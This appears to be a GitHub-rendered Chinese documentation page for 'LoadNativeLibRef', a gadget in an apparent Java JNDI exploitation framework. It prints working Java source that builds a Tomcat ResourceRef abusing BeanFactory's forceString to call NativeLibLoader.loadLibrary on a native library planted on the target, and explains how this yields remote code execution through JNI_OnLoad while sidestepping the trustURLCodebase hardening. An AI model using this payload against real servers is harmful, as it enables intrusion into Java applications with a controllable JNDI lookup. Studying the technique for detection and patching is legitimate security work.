Skip to content

Latest commit

 

History

History
61 lines (49 loc) · 4.55 KB

File metadata and controls

61 lines (49 loc) · 4.55 KB

Load NativeLib RCE(LoadNativeLibRef)

  • 类别:jndi 别名:— 优先级:60
  • 作者:—
  • 依赖tomcatjdk:com.sun.glass.utils.NativeLibLoader

作用

构造一个 Tomcat org.apache.naming.ResourceRef,把工厂设为 org.apache.naming.factory.BeanFactory、目标类设为 JDK 内置的 com.sun.glass.utils.NativeLibLoader,并借助 Tomcat BeanFactory 的 forceString 机制调用其 loadLibrary(String)。受害端在 JNDI lookup 解析该 Reference 时,会加载攻击者预先上传到目标本地路径的动态链接库(.so/.dll/.dylib),触发库中 JNI_OnLoad 里的原生代码执行,实现 RCE。属「JNDI Reference + Tomcat BeanFactory」本地 factory 路线,配合文件上传使用。

链接标签

  • 入口 tagsResourceRefTomcatBeanFactoryEND —— 本 gadget 本身即一个可被 JNDI/LDAP/RMI 入口返回、由 Tomcat BeanFactory 处理的 ResourceRefEND 表示它是链尾(自身即最终 payload)。
  • 衔接 nextTags:无(END 终止环)。
  • excludes:无。

源码剖析

@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"})
public class LoadNativeLibRef implements Gadget {
    @Param(name="path", description="加载的目标本地路径的动态链接库,例如/../../.../tmp/libx.dylib")
    public String path;

    public Reference getObject() throws Exception {
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null);
        ref.add((RefAddr) new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add((RefAddr) new StringRefAddr("a", this.path));
        return ref;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}

逐段解释:

  • new ResourceRef("com.sun.glass.utils.NativeLibLoader", ...)ResourceRef 第 1 参 className 指定 BeanFactory 要实例化的类为 JDK(JavaFX/glass)内置的 NativeLibLoader,第 6 参 factory 为 Tomcat BeanFactory。选它是因为其 loadLibrary(String) 是单 String 参且内部会走 System.load/loadLibrary 加载本地动态库。
  • StringRefAddr("forceString", "a=loadLibrary"):Tomcat BeanFactory.getObjectInstance 读取 forceString,把属性 a 的处理从默认 setA(...) 强制改写为调用方法 loadLibrary(String)——绕过「BeanFactory 只调 setter」限制、命中任意单 String 参方法。
  • StringRefAddr("a", this.path):为属性 a 提供值,即目标本地磁盘上动态库的路径。结合上一条等价于 NativeLibLoader.loadLibrary(path)
  • invoke 不调用 chain.doCreate:链尾 gadget,动态库需攻击者事先通过文件上传等手段落到 path,本 gadget 只负责「触发加载」。

触发条件:受害进程存在可控 JNDI lookup,classpath 具备 Tomcat naming(org.apache.naming.*)与 com.sun.glass.utils.NativeLibLoader(JavaFX/glass 相关),且攻击者能把恶意动态库写入 path 指向的本地路径。因走本地 BeanFactory,不依赖远程 codebase,不受 trustURLCodebase=false 限制。

参数(@Param)

字段 名称 说明 默认 可选值
path path 目标本地路径上的动态链接库文件,如 /../../../../tmp/libx.dylib

适用版本与原理要点

  • 依赖 Tomcat org.apache.naming.factory.BeanFactory / ResourceRefcom.sun.glass.utils.NativeLibLoader 同在目标 classpath。
  • 利用 forceString 把「属性写入」转为「任意单 String 方法调用」,命中 NativeLibLoader#loadLibrary
  • 本地 factory 路线,不触发远程类加载,绕过 trustURLCodebase=false 默认加固。
  • 需与文件上传原语配合:先把恶意 .so/.dll/.dylib 写到目标可读路径,再触发本 Reference 加载。RCE 逻辑放在动态库的 JNI_OnLoad

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。作为 JNDI 注入的落地环节,与可控 JNDI lookup 入口 + 文件上传原语自由组合。

关联

  • 同族(其他 Tomcat BeanFactory / JNDI Reference 路线):Mlet2RefBeanshellRefTomcatElRefGroovyShellRefSnakeyamlRefResourceRef + TomcatBeanFactory 类 gadget。
  • 落地方式相近的写文件/远程加载路线:MemoryUserDatabaseFactoryWriteFileLdapClassLoader